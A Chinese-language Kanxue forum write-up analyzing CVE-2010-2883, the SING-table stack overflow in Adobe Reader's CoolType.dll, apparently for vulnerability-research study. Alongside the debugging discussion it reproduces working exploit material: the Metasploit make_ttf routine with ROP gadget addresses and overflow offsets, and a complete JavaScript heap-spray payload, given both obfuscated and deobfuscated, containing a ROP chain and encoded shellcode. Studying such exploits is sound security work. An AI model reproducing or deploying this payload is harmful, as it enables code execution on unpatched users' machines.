其他
没有比我更详细的CVE-2010-2883分析了
看雪论坛作者ID:LarryS
1
漏洞描述与思考
该漏洞是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。
之前漏洞分析一直参考的0day这本书,这次开始看《漏洞战争》,(只针对这一个漏洞)发现里面对于一些细节并没有特别说明,导致我在分析的时候还是满头雾水,虽然按照书中的介绍也能够分析出来,但还是觉得各个步骤之间的逻辑关系不够明确。
现在已知存在漏洞的文件,同时书中配套资料也提供了poc的PDF文件。我首先想知道的是文件字体SING表究竟是什么东西,以及CoolType.dll文件中具体哪里存在漏洞这两个问题。
1.1 SING表是什么?
我直接做了一张思维导图,包含了TTF文件和SING表的结构组成:
2
定位漏洞位置
3
POC分析
3.1 TTF文件
3.1.1 文件结构
3.1.2 msf exploit中的make_ttf
def make_ttf ttf_data = "" # load the static ttf file # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) ttf_data = fd.read(fd.stat.size) fd.close # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end
sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin].pack('vvvvvvvv')
3.2 调试分析
3.2.1 三个特殊位置顺利分析
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer)ret = 0x4a80cb38 # add ebp, 0x794 / leave / retsing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first returnret = 0x4a82a714sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first returnesp = 0x0c0c0c0csing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0.sing[0x24c, 4] = [0x6c].pack('V')
# This becomes our new EIP (puts esp to stack buffer)ret = 0x4a80cb38 # add ebp, 0x794 / leave / retsing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first returnret = 0x4a82a714sing[0x18, 4] = [ret].pack('V') # 注意这个偏移0x18是从sing表的开头计算
# This becomes the new esp after the first returnesp = 0x0c0c0c0csing[0x1c, 4] = [esp].pack('V')
3.2.2 确定了另一个特殊位置
ecx = [0x12e45c];eax = ecx + 0x1c;--eax;
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
3.2.3 剩下最后一个特殊位置
# Without the following, sub_801ba57 returns 0.sing[0x24c, 4] = [0x6c].pack('V')
4
关于payload的一些思考
4.1 javascript代码与堆内存的构成
4.1.1 0x0C0C0C0C的秘密
var PVtXNSbsBDH = unescape;var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK;dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2);dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK;dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK;jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2);while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD;MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2);var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array();for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";
var code = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' ); // 650字节,325长度var nop_string = unescape( "%u0c0c%u0c0c" );while (nop_string.length + 20 + 8 < 65536) nop_string += nop_string;block = nop_string.substring(0, (0x0c0c-0x24)/2); // 3048 Bblock += code;block += nop_string;temp = block.substring(0, 65536/2); // 64 KBwhile(temp.length < 0x80000) temp += temp; // 1 MBdata = temp.substring(0, 0x80000 - (0x1020-0x08) / 2);var array_d = new Array();for (i = 0; i < 0x1f0; i++) array_d[i] = data + "s";
4.1.2 关于头部的大小
4.2 ROP流程
call dword ptr [eax] ; 跳转到0x4A80CB38,该地址位于icucnv36.dll这个文件中 add ebp, 0x794 ; 在执行前,ebp等于0x12DD48,执行完等于0x12E4DC,这个地址指向我们控制的数据中leave ; 将ebp的值赋给espretn ; 流程劫持,弹出栈顶的值给eip,栈顶是我们控制的数据 ; 通过retn,获取下一个流程地址0x4A82A714,该地址也位于icucnv36.dllpop esp ; 把栈顶元素弹出给esp,esp=0x0C0C0C0Cretn ; 栈顶到达了0x0C0C0C0C,栈顶元素作为下一个流程地址,0x4A8063A5,位于icucnv36.dll ; 这里的流程地址就已经开始写在javascript代码中了
5
总结
TTF文件的结构
PDF文件分析工具PDFStreamDumper
通过设置内存断点来监控payload的使用
ROP的攻击方式:其实无论是TTF文件uniquename中的几个特殊位置,还是javascript中的栈中数据,都是在执行ROP流程,这样一想就好理解很多
堆喷射怎样在固定位置设置数据
参考资料
《漏洞战争》
CVE-2010-2883字体文件SING表栈溢出
TTF Documentation
CVE-2010-2883分析
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!